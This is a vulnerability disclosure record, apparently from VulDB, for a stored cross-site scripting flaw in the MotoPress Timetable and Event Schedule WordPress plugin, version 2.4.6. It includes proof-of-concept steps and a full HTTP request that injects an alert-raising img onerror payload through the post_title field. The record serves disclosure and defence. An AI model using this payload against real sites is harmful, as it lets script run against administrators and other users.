| Titel | Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Timetable and Event Schedule by MotoPress |
|---|
| Beschreibung | # Multiple Authenticated (contributor or higher user role) Stored Cross-Site Scripting (XSS) vulnerabilities in Timetable and Event Schedule by MotoPress
# Exploit Author: Mostafa Farzaneh (Mr.pyweb)
# Web Site: https://motopress.com/
# Software Homepage: https://wordpress.org/plugins/mp-timetable/
# Version : 2.4.6
# Tested on: Windows 10
# Category: WebApp
# Date: 2022-05-24
# Description:
MotoPress Timetable and Event Schedule is an all-around organizer plugin developed to help you create and manage online schedules for a single or multiple events, customize the appearance of each event, add date, time, description and display all the needed items in a carefully-crafted timetable.
An authenticated user is able to inject arbitrary Javascript or HTML code to the "Timetable page" on Title's parameter This causes Stored XSS attack against the administrators or the other authenticated users.
POC:
1- go to Timetable page
2- click on Quick Edit and change Title's value to "<img src=x onerror=alert`2`>" and click on update
3- click on view to run XSS payload
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wp/wp-admin/edit.php?post_type=mp-event
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 432
Origin: http://127.0.0.1
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
post_title=%3Cimg+src%3Dx+onerror%3Dalert%603%60%3E&post_name=17&mm=05&jj=23&aa=2022&hh=18&mn=18&ss=01&post_author=1&post_password=&tax_input%5Bmp-event_category%5D%5B%5D=0&tax_input%5Bmp-event_category%5D%5B%5D=13&menu_order=0&tax_input%5Bmp-event_tag%5D=&comment_status=open&_status=publish&_inline_edit=f68c320526&post_view=list&screen=edit-mp-event&action=inline-save&post_type=mp-event&post_ID=17&edit_date=true&post_status=all |
|---|
| Benutzer | pyweb-security (UID 11883) |
|---|
| Einreichung | 15.08.2022 11:58 (vor 4 Jahren) |
|---|
| Moderieren | 16.08.2022 15:42 (1 day later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 206486 [MotoPress Timetable and Event Schedule auf WordPress Quick Edit /wp-admin/admin-ajax.php post_title Cross Site Scripting] |
|---|
| Punkte | 17 |
|---|